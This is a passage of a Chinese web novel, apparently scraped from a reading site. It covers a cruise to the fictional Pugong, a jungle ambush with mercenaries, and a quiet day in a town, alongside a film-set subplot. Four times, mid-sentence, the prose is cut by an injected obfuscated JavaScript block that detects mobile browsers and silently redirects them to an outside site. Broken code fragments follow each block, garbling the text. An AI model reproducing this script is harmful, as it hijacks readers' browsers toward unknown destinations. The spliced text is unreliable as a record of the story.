“我就放你妹妹走,还允许你解约。”魏从峥看着韩渡,又问,“如果我赢了呢?”
“如果你赢了,解约的事就暂且不提。”
魏从峥摇头,笑道:“这个可不够,如果我赢了,我要你去勾引江筹。”
韩渡转身就走。
“你走什么?”魏从峥喊道。
“江筹是直男。”韩渡扭头瞪他,“你还能更下三滥一点吗?”
魏从峥满不在乎地改口道:“那你去勾引荣逸飞。”
韩渡憋了一肚子骂,最后忍住了:“看来你已经没信心光靠自己拿下苏郁明了。”
“激将法对我没用。”魏从峥油盐不进地笑道,“不想做选择,就试试赢过我。”
临走前,韩渡在看护病房里见了韩卉一面。兄妹二人单独说了些体己话,当然,多数时候是韩渡在说,韩卉默默听着。见韩卉确实状态良好,韩渡稍感宽心。
“他是谁?”韩卉忽然开口,望向站在窗外花坛边的魏从峥。
韩渡顿了顿,道:“他是我领导。这次跟我一起来探望你。”
韩卉轻轻地点了下头,不再说话。
因为要离开一周,韩渡回家收拾了一下行李。
他给二老去了电话,告诉他们已经将妹妹安置在燕城数一数二的疗养院,请二老放心。
“下个月过年,都回来吧?”母亲慈祥的声音在另一边响起。
“对,等我这趟回国,就带小卉回家过年。”
“那就好,我们在冰箱里准备了鸡鸭牛肉,就等你们回来吃。”
“好……”
“不用往家里带东西,家里东西太多了,我们都吃不掉,你之前买的那些什么电子产品,我跟你爸也不会用,你省点钱,以后还要结婚。”
韩渡笑道:“我结婚还早着呢。”
“那不行,你都多大了,要赶紧找女朋友,别一天到晚就知道工作。”
“我知道了,你就放心吧。”韩渡无奈。
燕城西北部与邻省交界处,一座无名山峰上。
《越朝遗事》剧组正在山顶拍戏,游客和一些粉丝远远地围观着。
“卡!”导演举起对讲机,再一次喊卡。
苏郁明怔怔地放下手中道具,跟对手戏演员说了句抱歉,向自己的助理走去。
助理小芝往他手里塞了杯热咖啡,又动作熟练地为他披上棉袄:“是不是昨天晚上没睡好?”
何止是昨天晚上。苏郁明心情低落地望着手里的咖啡。自从那天晚上在酒店跟魏从峥大吵了一架,他已经连续失眠很多天了。
他想过去跟导演道歉,毕竟是他状态不佳,影响到了摄制进程,却被小芝拦住。
小芝劝道:“林导脾气再好,这会儿也在气头上,不如等个五分钟再过去。”
这话说在了苏郁明心坎上,他正要坐下,耿信灵走了过来。
耿信灵是同剧组演员王海盛的武替。王海盛在《越朝遗事》这部戏里扮演苏郁明的探案搭档,偏武生的角色,王海盛本人武术功底一般,于是很多戏份都需要耿信灵这个武替上,一来二去,苏郁明倒是跟耿信灵聊得颇为投机。
“耿哥。”苏郁明主动向他打招呼。
“是家里有什么事吗?我看你心神不宁的。”对方关心道。
苏郁明愧疚地摇头:“没事,不好意思,是我拖累大家了。”
“你别放在心上,人又不是机器,不可能时时刻刻都状态好,大家都能理解。”耿信灵宽慰他。
听他这么说,苏郁明心里好受了些。两人又闲聊了几句,随后在耿信灵的陪同下,苏郁明来到导演所在的摄影棚。
摄影棚里,林导正背对着他跟一个年轻女人说话。
苏郁明一见这位,不禁脱口而出:“侯小姐,你怎么会在这儿?”
侯昭昭今日依然光彩照人,她笑眯眯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897231|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地对苏郁明招手:“巧了,我跟林导是旧识,没想到你也在这边。”
苏郁明带着耿信灵走上前去,介绍道:“这位是同剧组的演员耿信灵,也是我很好的朋友。”
“你好。”两人互相打了招呼。
侯昭昭笑着对林导说:“本来想见你一面就走,既然看到了熟人,我得多喝你一杯茶,正好见识见识你们拍戏。”
林导笑得开怀:“侯小姐今天来,实在是蓬荜生辉,别说一杯茶,喝多少我都能请。”
经这么一打岔,道歉的事自然不必提,林导反过来拍拍苏郁明肩膀:“实在不行,咱们先回去休息,明天再拍你那场。”
苏郁明深吸口气,眼神定了定:“不用了导演,我们再来一遍,这次我一定可以。”
林导迅速瞥了眼坐在一旁的侯昭昭,扬声夸赞道:“好!小苏有志气。你也不用有压力,顺其自然就好。”
苏郁明重新振作,回到了现场。
只是正要开拍,人群处忽然一阵骚动,围观游客跟保安起了冲突。不知是谁一个动作,架好的摄像机被碰倒,摄像师及时护住了机器,却不慎将某个零件甩下悬崖。
林导皱眉:“怎么回事?!”
制片走过来:“有个游客闹起来了,没什么大事。只是摄像说,寻像器掉下山崖了。”
“有备用吗?”
制片摇头。
“诶,那就只能派人去山崖下找了。”正悠然喝茶的侯昭昭忽然道。
林导与制片意外地看向她,又彼此对望了一眼。
消息传到苏郁明耳中时,剧组工作人员已经在准备绳子。
“要用绳子把人送到悬崖下面找东西?什么东西这么重要?”苏郁明不解。
小芝同样纳闷:“送谁下去啊?”
这个问题很快就有了答案,只见工作人员把耿信灵唤了过去,开始往他身上系绳子。
苏郁明惊诧地从凳子上站了起来。
“林导,这么危险的事,怎么能让耿信灵去?”苏郁明冲到摄影棚,焦急地拦住林导。
林导闻言,粗眉一提,厉声道:“他身体素质好,身手又不错,不让他去让谁去?”
苏郁明急道:“那也不——”
“小苏你别说了。”林导抬手打断他,“他不去,难道你去吗?谁去都很危险。就这么定了,回头我会给他多结些钱。”
苏郁明脑门一热,说道:“对,让我去!”
林导舔了舔干燥的嘴唇,道:“你别添乱。”
“我不是添乱。”苏郁明卖力地帮他分析,“我体重轻,视力好,也有舞蹈功底,让我下去最合适。”
一小时后,郊区私人机场。
韩渡将喝完的咖啡杯扔进了垃圾桶,对魏从峥道:“这座机场是你建的?”
魏从峥眉梢微挑:“你说呢。”
“就你一个人用?”韩渡来这里也有很多回了,每次都空空荡荡,只有零星几个工作人员和他自己。
“你也想用?”魏从峥笑道。
“你一个人用不会亏本吗?这运营成本不低吧。”韩渡不理会他,专心问自己的。
“当然不会。”魏从峥道,“它的定位从一开始就不是载客运输。”
韩渡正要听他细说,魏从峥笑着看了眼时间,说道:“好了,该登机了。”
韩渡闻言起身,拉开行李箱拉杆。
就在临近登机口时,魏从峥的手机震动了起来。他看了眼来电显示,接通后放在耳边:“什么事?”
“苏先生出事了。”电话里,吴传非的声音隐隐传来。
25. 顺流而下
一条长江横贯蒲贡,像柄利刃穿胸而过。江水一年四季自西向东,仿佛永远不会枯竭。
“赞美星光”号邮轮在江面上逆风航行,这是她启航的第一天。整个航程共6天5晚,为数不多的乘客们要在船上度过将近一周的时间。
韩渡从客舱里出来时,正看到魏从峥跟一个头发灰白的中年白人交谈。
余光看见韩渡,魏从峥跟白人说了句“抱歉”,接着朝韩渡走来:“看到我了还跑?”
韩渡道:“不是看你正忙吗?”
魏从峥笑道:“来,我带你认识一下。”
韩渡略感诧异,却也没拒绝,跟着魏从峥走了过去。
“弗兰克,这位是我的朋友韩渡,也是我很好的合作伙伴。”魏从峥道,又对韩渡说,“弗兰克是欧洲人,在当地经营一家造船厂,这艘‘赞美星光’号就是他主持建造的。”
韩渡与弗兰克握手,由衷称赞道:“这艘游轮实在太美了,相信到了晚上,她会像她的名字一样,成为这条江上最美的星光。”
弗兰克大笑:“感谢您的赞美,今天是她的首航,我们一定竭诚服务,让所有宾客不虚此行。”
三人在甲板上吹着热风,从当地工业聊到境外投资,又聊回这里的风土人情,韩渡只觉大有收获。
弗兰克离开后,韩渡跟魏从峥继续留在甲板上散步。
“你不是挺会夸人的吗?”魏从峥突然来了这么一句。
“什么?”韩渡摸不着头脑。
“看你刚刚把弗兰克奉承的,最近跟我说话倒是很不客气。”
“我是真心实意夸赞,怎么能说是奉承。”韩渡纠正他的说法,“再说了,他难道不是你的贵客?”
魏从峥笑着摇头:“这话说反了,我们是他的贵客才对。”
“也是,这条船都是他造的。”
“这条船是我们公司的项目,因为弗兰克在当地有些能量,所以我们选择跟他的造船厂合作。”
韩渡有些意外,仔细一想,又觉得这样就说得通了:“你们公司在接蒲贡的开发项目?”
魏从峥没有否认:“蒲贡战乱不休,近几年才稍微停火,现在百废待兴,投资开发需求很大。”
此话说完,魏从峥见韩渡思考得认真,不由笑道:“你呢,在船上习惯吗?有没有晕船?”
“没事,我不晕船。”韩渡答道。
沿江两岸是一眼望不到头的丛林,根深叶茂,遮天蔽日,不时有从未见过的水鸟拍着翅膀在游轮上空盘旋,粘稠的热带气息扑面而来。
“倒是你,我还以为你会为苏郁明留下。”韩渡转念想到。
魏从峥瞥过来:“已经定好的行程规划。”
“看来这次蒲贡之行很重要。”
“你知道就好。”魏从峥一副你要给我好好办事的语气,听得韩渡忍不住腹诽。
“赞美星光”号邮轮共有20间客舱,韩渡得到了单独的一间,回到客舱内,他在小露台上拍了段江面航行的视频,远程发给了韩卉。随后,他将手机页面切换到另一个对话框,输入道:查到他人在哪儿了吗?
【查到了。】
对面回复得很快,随即发送过来两张照片。
韩渡点开照片,照片背景在一处富人社区,何安正从自己的超跑上下来。另一张照片则是何安海外住宅的定位照片。
暮色降临,江水哗哗拍向两岸滩涂。沿江丛林幽暗,没有村落,仿佛吞噬了所有灯光。韩渡“一语中的”,这艘游轮竟真成了方圆百里内唯一的光源。
当晚,甲板上举办了一场酒会暨启航仪式。白日里待在客舱的乘客们此时都络绎走上甲板,穿着华贵的礼服,在悠扬的音乐声中互相见面交谈。
韩渡来之前并不知道还有这类活动,没有准备正式的衣服,原本不打算参加了,魏从峥却在这时候过来敲门。
对方一袭抓人眼球的玫红色燕尾服,花枝招展地站在门外跟韩渡打招呼。
韩渡上上下下打量了他几眼,笑道:“这是有备而来啊。待会儿要去见哪位重要人物?”
“见你啊。”魏从峥大方地张开双臂,要给韩渡一个热情的拥抱。
韩渡皱了皱鼻子,绕开他:“这么浓的香水味,你是用了一整瓶吗?”
魏从峥闻言,低头嗅了嗅袖口:“不浓啊,不好闻吗?”
“好闻是好闻……”韩渡承认,就是觉得太浮夸了,“穿成这个样子,你实话实说,是不是打算背着苏郁明乱来?”
“说什么呢?”魏从峥也打量了韩渡这身T恤裤衩组合,笑道,“你不换套衣服?”
“我就不过去了。”韩渡说。
“也不过去吃点东西?船上还准备了当地特产的美酒,不尝尝岂不可惜?”
韩渡被他说动:“我没带衣服,这样过去没关系?”
“你等着,我换套跟你一样的。”魏从峥笑了笑,转身便回到自己房间。
韩渡将自己房门关上,在他屋外等候。
两分钟后,魏从峥顶着一身红色的夏威夷花衬衫出来了,下半身也是一条刚过膝盖的短裤衩,脚上踩着船上提供的一次性塑料拖鞋。
韩渡忍俊不禁,连连点头:“还是这样看你顺眼,这才衬托出你的气质。”
“少来。”魏从峥笑骂,带着韩渡往甲板上走。
甲板上灯火幽明,酒香四溢,韩渡拿了杯酒,跟随魏从峥挨个认识这些邮轮上的乘客。
有弗兰克在旁边引荐,大家很快就聊得分外融洽。
韩渡注意到这艘游轮上的乘客大多是异国来客,肤色不同,语言也不同,不过,这些问题却并不妨碍他们迅速找到志同道合的人。投资、股票、旅行见闻、美酒、国际局势等等一通话题聊下来,跟不上的人自然会被隔离在外。
魏从峥时不时在韩渡耳边为他讲解,韩渡一边听一边吸收,渐渐琢磨出了一丝趣味。
这些人有的长期旅居蒲贡,礼佛的同时,记录一些当地见闻;有的是上市公司CEO,正与妻子度假旅行;也有年纪轻轻却身价不菲的花花公子,身边站着两个女伴。
因听得投入,韩渡不觉多喝了几杯,直到一阵酒酣耳热,他意识到这句身体快醉了。
跟魏从峥说了一声,韩渡提前回了客舱。
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897232|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知过了多久,甲板上的谈笑声逐渐变淡,韩渡洗完澡出来,正擦着头发,有人在外敲门。
打开门,是游轮上的服务生。
服务生送上醒酒药和冰毛巾:“隔壁先生让我给您送来,祝您睡个好觉。”
韩渡看了眼隔壁魏从峥的房门,向他道谢后接过这些东西。
翌日,天光明媚,江风宜人。
在餐厅用完早饭,韩渡问魏从峥:“今天有什么安排?”
魏从峥将一块汁甜肉嫩的梨放入嘴中:“没什么安排。”
“说正经的呢。”
“确实没有安排。”
“你是来蒲贡度假的?”
“带你度假不好吗?”魏从峥见韩渡表情不妙,又道,“你让我先缓两天,后面有的是正事要办。来,吃点水果。”
韩渡见他姿态暇逸,于是提了件旧事:“我在海恒的离职手续还没办吧。”
“这种小事,都是吴传非在处理。”言下之意,不要来问他。
“行,等这次回去,正好也要过年了,我想请一个月的假。”
魏从峥笑道:“我们合约总共就两个月,你还要请一个月的假?”
“等明年再给你续上。”
“诶,请了你这么个员工,真是不划算。”魏从峥长吁短叹,又嚼了块水果。
该说不说,江上航行的日子虽然无所事事,却也惬意。此时的燕城还在漫天飞雪,蒲贡这边却炎热潮湿,暖风熏人。江上烟轻雾漫,长风习习,游轮不时发出一阵悠长的汽笛声,躺在甲板的藤椅上,一吹风便是半天过去了。
相比韩渡这个实打实的大闲人,魏从峥却还有些事要做。他整日不是在客舱里远程工作,就是不知去哪里见了什么人,行踪不定,甚是神秘。
韩渡有时会猜想,没准人家趁他晒太阳吹风的时候,已经背地里把这趟要做的事都做完了。
游轮上也不是全然无聊。“赞美星光”号每天行驶约100公里,周围一成不变的丛林景观也在缓慢发生着变化,逐渐有绵延的山丘和村落、小镇出现,若船上乘客有兴趣,游轮便会在某座码头停留一阵子,方便乘客下船游玩。
魏从峥一次也没有下船过,到了这种时候,他又显得格外忙碌。韩渡见他如此,便自行下船逛了逛。这里的村镇相对闭塞,建筑大多是黏土或木头盖成的矮房,或者极简单的茅草房。兴许是此地多雨,路面泥泞不堪,间或有光屁股的小孩在房前屋后跑来跑去。见到他们这些陌生面孔,当地人脸上不约而同地会出现一种警惕中带着麻木的表情。
韩渡见到过最繁华的地方,是一座古旧的佛塔。他远远望了一眼,并没有上前。
游轮上也有自己的娱乐安排。除了官方组织的露天电影、歌舞表演等,还有乘客私下开展的小型派对。据说底舱还悄悄开设了棋牌室,再具体的,韩渡就不太清楚了。
游轮上的日子像是被人偷去了一样,转眼间便过去了三天。
这天,两岸的风景已经从丘陵变成了险峻高山,山上植被茂盛,将山体裹得密不透风。
魏从峥忽然来到韩渡房间:“走,该下船了。”
26. 遇险
一进入山林,周围的光线就肉眼可见地暗淡下来,温度和空气湿度也悄然发生了变化。
韩渡本以为这是座未经开发的荒山,可是走到半路,前方居然出现修葺得颇为平整的公路。
只是这公路狭窄,且上空被两旁参天的植物覆盖,若不是它确实出现在眼前,恐怕无人机也无法从上空拍摄到它。
魏从峥在前面带路,韩渡跟在后面,沿着公路往山里走。越是往里走,手机信号越差。
“这是要去哪?”韩渡感到云里雾里。
“先去见我们的人。”魏从峥回答。
约莫一小时后,一栋盖在山间的简陋木屋渐渐在林中显现。
在距离木屋还有数十米时,有个大汉从木屋里推门而出,阔步迎了过来。
“魏总!”来人身材粗壮,皮肤黝黑,留着一把硬如钢丝的黑胡子,手里还持着一挺步枪。
“老黄,久等了。”魏从峥阔步豪迈拥过去,拍了拍对方后背,随后感兴趣地看了看对方身上那挺枪:“哪儿弄来的?好东西啊。”
老黄将步枪卸下来递给魏从峥细细赏玩,目光看向韩渡:“这位是?”
“我助理,晚上跟我们一起行动。”魏从峥回他。
老黄与韩渡客套了两句,带着二人走进木屋。
木屋看似不大,从外面听静悄悄的,里面却或立或躺,容纳了十几号人。
韩渡默默观察了一圈,发现这些人腰间、怀里或多或少都别着匕首、枪械等武器,看着虽不似正规军,却纪律严明,个顶个的安静。
不多时,魏从峥和老黄从里屋出来,身上也多了些东西。
魏从峥将一把相对轻便的手枪送到韩渡面前:“会吗?”
韩渡不怎么会使枪,但是事情发展已经超出了他的预期。他凑到魏从峥耳边,低声道:“你刚才说晚上一起行动,什么意思?还有这些人、这些枪,你想干嘛?”
“去跟人谈生意啊。”魏从峥笑道,“害怕了?”
“什么生意要谈成这样?”
“一笔大宗交易。”见韩渡仍不放心,魏从峥玩笑道,“那你晚上就留在这里,等我们回来。”
“别嬉皮笑脸的。”韩渡不满,“不行,我得跟你们一起去。”
魏从峥收起笑容,正色道:“请了这么多人,就是为了保护你我安全,就算真出事了,也有转圜的余地。”
“这么危险的交易,为什么会让你过来?”韩渡依然感到不解。
“自然有非我不可的原因。”魏从峥拿枪托顶了顶韩渡,又问道,“会吗?”
韩渡从他手里取过枪:“你教我?”
“行,出发之前教会你。”
“哪需要那么久。”
魏从峥啧啧不已:“这么厉害?来,让我见识见识。”
枪械操作并不难,难的是训练准头。韩渡在这方面并没有过人的天赋,只是魏从峥对他也没有很高的要求,见韩渡学得认真,便也教得耐心,站在韩渡身旁手把手地指导。
老黄远远在屋檐下抱胸而立,朝这边望了一会儿,随后默不作声地回了屋。
时间轴拉到十二小时后。
夜深人静的丛林里,忽然传出急促而凌乱的脚步声。
“追!一定要把他们给我追回来!”一个扎着尾辫、脸色蜡黄的细瘦青年高举长刀,冲身后大喊。
在他身后,乌泱泱如蚁群的人头在月色下攒动,几十号身着粗布麻衣的汉子跟着他的步伐往林子里冲。
更前方,韩渡和魏从峥正夺路而逃,他们身前身后,老黄和另外三名雇佣兵将他们紧紧护住。
“他们人多还熟悉地形,不能再这样跑下去了。”老黄当机立断,随即与另外一位雇佣兵停下脚步,要为大家断后。
“老黄你跟我们走。”魏从峥回头喊住他。
“我走不了。”老黄苦笑,指着留下的其中一个人:“阿威在这里生活很久了,对蛇虫蚁兽比我熟,他带你们走。”
说完,老黄头也不回地拉着另一人往回头的方向跑去。
见魏从峥神色晦明不定,韩渡提醒他:“快走吧。”
剩下四人再次上路,气氛无形中更紧张了些。
事发突然,傍晚时分他们一行沿着公路来到山林深处一座寨子,那寨子依山势而建,高低错落,寨里的人大多形容粗莽、面带煞气,见了他们,当即有几个人摇晃着走过来,同时摸向胯边的武器。
老黄上前说明来意,有话事人从人群里走出来,带着他们进了一间屋子,一位头目模样的中年男人在那里等着他们。随后,魏从峥在那人对面坐下,老黄站在他身后,为他二人充当翻译。
当晚,他们一行人受邀留在寨子里吃了晚饭。
直到离开寨子,事情都发展得非常顺利。
可就在返程路上,他们遭到了伏击。树顶上、灌木丛里、岩石后,一群为数不少的当地武装分子忽然从各处冒出来,将他们去路直接截断。
老黄试图跟他们交涉,却被一刀差点砍中胸口,来者不善,没有谈和余地,混战顿时爆发。
在倒下了近十位同伴后,韩渡一行人终于突破重围。如今老黄主动留下吸引火力,韩渡震撼之余也心有不忍,他已经尽量不给大家拖后腿,可是他们这边依然不断地减员。似乎是见他神情凝重,魏从峥握住了他手腕,带着他往前跑。
圆月高悬,白雾在森林里弥漫,远处山崖间,有狼嚎一声长过一声。
密林被夜色灌满,透不出一丝光亮,为躲避追踪,四人还将身上的照明设备都关了,此时仓皇赶路,好几次险些被绊倒。
身后的追击声在停了一会儿后,又远远传了过来,韩渡心里惴惴不安,却不好表现出来,于是一直绷紧着脸,目光如隼般盯着前方。
阿威在前面探路,他果然是丛林好手,在这样的环境里依然如履平地。
不知过了多久,形势不见好转,阿威忽然转头,对魏从峥说了一些话,却都是当地语言,韩渡完全听不懂。他看向魏从峥,见魏从峥皱起眉毛,显然也没听懂几句。
这时,仅剩的另外一位雇佣兵帮着翻译:“他说,他再帮我们去引开一波人。”
魏从峥看了眼这位脸庞青涩的雇佣兵,道:“他去了也没用。”
阿威又焦急地连说带比划了一顿。
“他说能拖一会是一会,让我们找地方躲起来。”
魏从峥不再劝他:“好,我们往南方跑,他如果有幸逃脱,就来找我们汇合。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897233|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
三人脚步未停。
韩渡望了眼离开的阿威,心里有些话想说,只是他知道眼下不是说话的时候,于是暂且按下不表。
往南走了有两三分钟,魏从峥忽然调转了方向,带着他们走上另一条山路。
韩渡惊疑不定,忽然意识到在场的另一个人从头到尾都跟在魏从峥后面,呈现一种极明显的保护姿态,对于魏从峥临时改变方向的事,也是半点没有要开口的意思。
时间一分一秒流逝,三人逐渐跑到山谷。月光投洒在山间溪流上,泛起鱼鳞般白色的光点。
一时也顾不上卫生,韩渡捧起溪水急吞了几大口,脱水的症状才稍有缓解。
身后有脚步声,是魏从峥在靠近。
“前面有镇子,到了那里就暂时安全了。”不等韩渡开口询问,他先给了颗定心丸。
韩渡轻轻点头:“我担心——”
就在这时,魏从峥身后的林子里有窸窣动静,韩渡瞳孔一震,远处名叫阿立的那个年轻雇佣兵忽然大喊:“小心后面!”
魏从峥在看清楚韩渡神情的那刻已经侧身躲避,千钧一发之际,一颗闪烁着寒光的子弹擦过他前胸,直直迸射出去。
下一秒,韩渡出手将魏从峥扯到了自己身边。
“谁?!”他朝林子的方向喝道。
他话音刚落,魏从峥已持枪瞄准那里迅速扣动扳机。
一声惨叫后,林子里传出倒地声。
阿立弯腰,小心翼翼地靠过去,用枪口拨开灌木丛,看清了倒地的人长相后,他回头道:“果然是他。”
魏从峥冷哼一声,将枪收回。
韩渡不明所以,走过去一看,倒地的竟然是声称要为他们引开敌人的阿威。
阿威左胸口一个拇指大的血洞,正在汩汩往外流血,他圆睁双眼,面色惊骇。
“这小子,果然想拿我们人头去做投名状。”阿立嫌弃地啐了口那尸体。
魏从峥说道:“此地不宜久留,我们走吧。”
“快了,再往前走三公里就到了。”阿立振奋起来。
“你刚才想说什么?”路上,魏从峥问韩渡。
“我以为他是要离开我们自己跑。”韩渡说。老黄他们两个人也挡不住那些人,更别说阿威了,他在那时候提出离队,独自潜逃的可能性更大。只是他万万没想到,阿威还打着反水的主意,人心居然能险恶至此,韩渡不寒而栗。
魏从峥笑了笑,说道:“刚才多谢你。”
韩渡一愣,这话不像是会从魏从峥嘴里出来的。“不用谢我,我没帮上什么忙。”他说,又不禁问道,“阿立是你的人?”
“阿威之前也算是我的人。”魏从峥笑吟吟的。
“你知道我不是这个意思。”
“是,你猜的没错。老黄和阿立都是我事先安排过来的。”
“他们互相知道身份吗?”韩渡思忖。要知道刚刚老黄临走前,可是要把他们托付给阿威的意思。
“你猜。”魏从峥卖了个关子。
“……”
走在前方的阿立忽然朝他们招手,指了指不远处。
韩渡抬眼望去,一座规模不大的小镇坐落在河流上游,在夜色中隐隐现出轮廓。
27. 小镇时光
深海般幽邃的丛林里,韩渡跌跌撞撞地拼命往前跑。
他大口地喘气,口鼻一股铁锈味,双腿仿佛提线木偶一样不知疲倦地前后摆动。
终于,前方出现光源,他兴奋地从林海里冲出来,却发现身体失重飘起,接着“扑通”跌进深不见底的河水里。
他绝望地不断往下沉,望着头顶越来越远的水面,正要闭眼,忽然一只手伸来,哗地将他拉出河面,他绝处逢生,正要看清楚对方是谁,这时,一阵刺耳的鸣笛声惊醒了他。
这里是一间镇上旅馆。
韩渡睁开眼后,花了半分钟的时间重新梳理了记忆。
昨夜,他们三人赶到镇子里,找了家还在营业的旅馆住下,不久就各自休息了。
这一觉睡得很不踏实,韩渡一个噩梦接着一个噩梦,梦里不是在追逐就是在溺水,此时清醒了依然精神不大好。
客房很逼仄,只放了一张小床和一只布满刮痕的木柜,其他什么住宿用品都没有。
韩渡捡起昨天那身满是尘灰和破洞的衣服,纠结再三,还是不想穿上,索性就打赤膊走了出去。
出了门左拐,走到过道另一头,就是公共卫生间。
韩渡进去的时候,有几个同样无精打采的住客在洗漱。他来到洗手池边,拧开生锈的水龙头,等一阵浑浊的水放完,他低下头,双手掬水简单擦了擦脸。
出来的时候,正巧在房门口碰到回来的阿立。
“你要找魏哥?”
韩渡点头,见他手里拎着大包小包,于是问道:“你一大早出去买东西了?”
“是啊,这里集市开得早。我也正要去找他,韩哥你一起来吧。”阿立笑道。
他们二人走进魏从峥房间时,对方正在打电话。
魏从峥示意他们先坐,一边拿着手机往外走。路过韩渡时,他瞥了眼韩渡上身,将电话拿远了些,对阿立吩咐道:“你先给他拿件衣服。”
阿立答应着打开了那些袋子,从里面倒出一堆衣服和日用品,让韩渡自己挑,需要什么就拿什么。
韩渡没有客气,拿了件T恤当即穿上,随后又挑了些牙刷、毛巾、拖鞋之类的东西。
“这里的集市挺有意思的,待会儿你跟魏哥可以去逛逛。”阿立推荐道。
“你在这里生活多久了?我看你当地语言讲得很好。”韩渡问。
“我妈是蒲贡人,这就是我的母语。”阿立告诉韩渡,“其实蒲贡话不难,魏哥也会一些。”
韩渡着实意外了:“他也会说?那昨晚阿威跟他说话,他不是听不懂吗?还有之前让老黄做翻译……”
阿立摸了摸耳朵,意识到自己多嘴了。见韩渡盯着他,他讷讷道:“那我也不太清楚了。”
韩渡立马猜出来,魏从峥这人明明会说蒲贡话,却要装作语言不通,估计是憋着劲使坏。这人心眼太多了,活该这次滑铁卢。
韩渡没有为难阿立,笑着说:“趁他还没回来,你也挑点好东西。”
魏从峥回来后,见两人面前各码了一堆好物件,而桌台中央只剩下一些看着五颜六色、奇形怪状的东西,不禁挑了挑眉毛。
阿立乖乖地坐着,东张西望。
魏从峥将矛头指向韩渡:“这新衣服不错。”
韩渡看了看身上这件很有乡土气息的花格子衬衫,笑着说:“不用羡慕,也给你留了一件。”
魏从峥往桌面中央看去,还真有一件。他气笑了,推搡了阿立一把:“什么审美?”
阿立腰背一挺:“当地人都这么穿。”
事实证明当地人并不是都这么穿。
下午,换上同款衣服的魏从峥和韩渡走在街市上,发现当地人穿的多是民族特色服饰,鲜艳而具有传统风情。他二人因穿得格格不入,常收到奇怪的眼神。
“回去就找那小子算账。”魏从峥恼道。
韩渡笑道:“你别欺负人年纪小。你想穿成他们那样,我给你买一件。”
“你有钱吗?”魏从峥故意问道。
“你有钱就行了。”韩渡道,“麻烦老板预支一下工资。”
魏从峥笑了:“合着还是得花我的钱。”
两人从服装店里走出来时,已经换了一身,除了样貌白净些、身量高些,看着与街上的本地人已经差别不大。
魏从峥面含喜色,大手一挥,指着路过的一辆人力三轮车:“老板也带你兜兜风。”
韩渡见蹬车的那人是个瘦如麻杆的中年人,摇头说:“咱们两个大男人,就别给人添麻烦了。”
“话不能这么说,”魏从峥道,“有客上门,他欢迎我们还来不及。”
韩渡不听他那套,拉着他就走:“不如租辆自行车,我载你。”
两人找路人问了方向,来到一家门店脏污破损的二手修车店。
魏从峥嫌弃里面脏,站在外面不乐意进去。
“你不进去,谁跟店主沟通?”韩渡瞟他。
魏从峥不情不愿地跟在他后面走进了修车店,不多时,韩渡推着一架“嘎吱”作响的二手自行车走了出来。
韩渡提胯上车,拨了拨响铃,对魏从峥道:“上来吧。”
魏从峥一脸黑线地坐上车后座,双手狠狠捏了把韩渡的腰。
两人沿着小镇主干道,一路向下坡骑去。
热风呼呼扑在脸上,为了绕开坑坑洼洼的地面和杂乱的人群,韩渡握着自行车把,不断地拐弯穿行,直到一片棕榈叶“啪”地打在了魏从峥脸上,他怒道:“你下来,换我。”
韩渡感到好笑:“你会骑吗?”
魏从峥跳下车,拍拍裤子上的扬尘:“韩老师,这回你教教我呗。”
韩渡道:“这里人多,你先上车,我们找个宽敞的地方。”
魏从峥笑道:“稍等我一下。”他转身走到路边一个集市摊,掏钱买了一只芭蕉叶卷成的土烟,又问摊主要了火,自己尝了一口,走回来对韩渡说:“你要试试吗?”
韩渡摆手,对这种来路不明的东西不感兴趣。
“真不试试?”魏从峥将土烟送到韩渡嘴边。
韩渡犹豫片刻,含住吸了一小口。
味道很奇怪,他不是很喜欢。
见韩渡表情古怪,魏从峥放声大笑。
于是两个人一个推车,一个边走边抽着土烟,在这样闷热的午后,行走在满是尘土和噪音的蒲贡小镇。
找了处荒地,韩渡扶着自行车,教魏从峥怎么掌握平衡,一旦车往一边歪了,就赶紧帮着扶正。魏从峥几次要摔倒,都被韩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897234|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渡拉住,韩渡还没笑话他,他自己已经先笑了:“这两个轮子怎么比枪还难玩。”
